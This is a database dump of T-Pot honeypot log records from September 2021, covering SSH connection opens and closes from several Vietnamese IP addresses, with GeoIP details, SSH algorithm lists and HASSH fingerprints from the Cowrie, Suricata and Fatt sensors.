27099	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:41.991742+03	2021-09-20 14:15:14.135644+03	{"_id": "ogbpAnwBvYTbRNuEZSV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "04e0a9f07ef9", "@version": "1", "duration": 2.9286704063415527, "timestamp": "2021-09-20T11:13:41.991742Z", "@timestamp": "2021-09-20T11:13:41.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27100	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:43.373465+03	2021-09-20 14:15:14.136674+03	{"_id": "rwbpAnwBvYTbRNuEaSVm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:36898 (192.168.176.2:22) [session: 96b5e98af180]", "session": "96b5e98af180", "@version": "1", "protocol": "ssh", "src_port": 36898, "dest_port": 22, "timestamp": "2021-09-20T11:13:43.373465Z", "@timestamp": "2021-09-20T11:13:43.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27101	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:42.866253+03	2021-09-20 14:15:14.138647+03	{"_id": "rgbpAnwBvYTbRNuEaSVm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7e6212a2d360", "@version": "1", "duration": 3.168865919113159, "timestamp": "2021-09-20T11:13:42.866253Z", "@timestamp": "2021-09-20T11:13:42.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27140	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:52.71399+03	2021-09-20 14:15:14.188644+03	{"_id": "aQbpAnwBvYTbRNuEjiaW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 458397244741798, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59014, "dest_port": 22, "timestamp": "2021-09-20T11:13:52.713990Z", "@timestamp": "2021-09-20T11:13:52.713Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27102	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:13:43.596729+03	2021-09-20 14:15:14.139646+03	{"_id": "vwbpAnwBvYTbRNuEbCWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36898, "dest_port": 22, "timestamp": "2021-09-20T11:13:43.596729", "@timestamp": "2021-09-20T11:13:43.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27103	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:44.392252+03	2021-09-20 14:15:14.141647+03	{"_id": "vAbpAnwBvYTbRNuEbCWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7032, "timestamp": "2021-09-20T11:13:44.392252", "@timestamp": "2021-09-20T11:13:44.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27104	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:44.392102+03	2021-09-20 14:15:14.142675+03	{"_id": "1AbpAnwBvYTbRNuEbyVQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1786826333863172, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7032, "dest_port": 22, "timestamp": "2021-09-20T11:13:44.392102Z", "@timestamp": "2021-09-20T11:13:44.392Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27105	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:44.844292+03	2021-09-20 14:15:14.143675+03	{"_id": "1gbpAnwBvYTbRNuEcCWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36048, "timestamp": "2021-09-20T11:13:44.844292", "@timestamp": "2021-09-20T11:13:44.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27106	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:44.951468+03	2021-09-20 14:15:14.145686+03	{"_id": "4wbpAnwBvYTbRNuEcSU9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:37220 (192.168.176.2:22) [session: ab299821dfac]", "session": "ab299821dfac", "@version": "1", "protocol": "ssh", "src_port": 37220, "dest_port": 22, "timestamp": "2021-09-20T11:13:44.951468Z", "@timestamp": "2021-09-20T11:13:44.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27109	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:45.782603+03	2021-09-20 14:15:14.149645+03	{"_id": "7AbpAnwBvYTbRNuEcyU5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1484048319396702, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37220, "dest_port": 22, "timestamp": "2021-09-20T11:13:45.782603Z", "@timestamp": "2021-09-20T11:13:45.782Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27110	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:45.787+03	2021-09-20 14:15:14.150645+03	{"_id": "8AbpAnwBvYTbRNuEdCVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37220, "timestamp": "2021-09-20T11:13:45.787000", "@timestamp": "2021-09-20T11:13:45.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27111	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:53.208904+03	2021-09-20 14:15:14.151646+03	{"_id": "bwbpAnwBvYTbRNuEjybJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49340, "dest_port": 22, "timestamp": "2021-09-20T11:13:53.208904", "@timestamp": "2021-09-20T11:13:53.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27112	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:52.916945+03	2021-09-20 14:15:14.152646+03	{"_id": "cAbpAnwBvYTbRNuEkCaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:49340 (192.168.176.2:22) [session: 16898c07b5df]", "session": "16898c07b5df", "@version": "1", "protocol": "ssh", "src_port": 49340, "dest_port": 22, "timestamp": "2021-09-20T11:13:52.916945Z", "@timestamp": "2021-09-20T11:13:52.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27118	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:53.975351+03	2021-09-20 14:15:14.160646+03	{"_id": "fAbpAnwBvYTbRNuEkiZ_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 951768728034926, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44044, "dest_port": 22, "timestamp": "2021-09-20T11:13:53.975351Z", "@timestamp": "2021-09-20T11:13:53.975Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
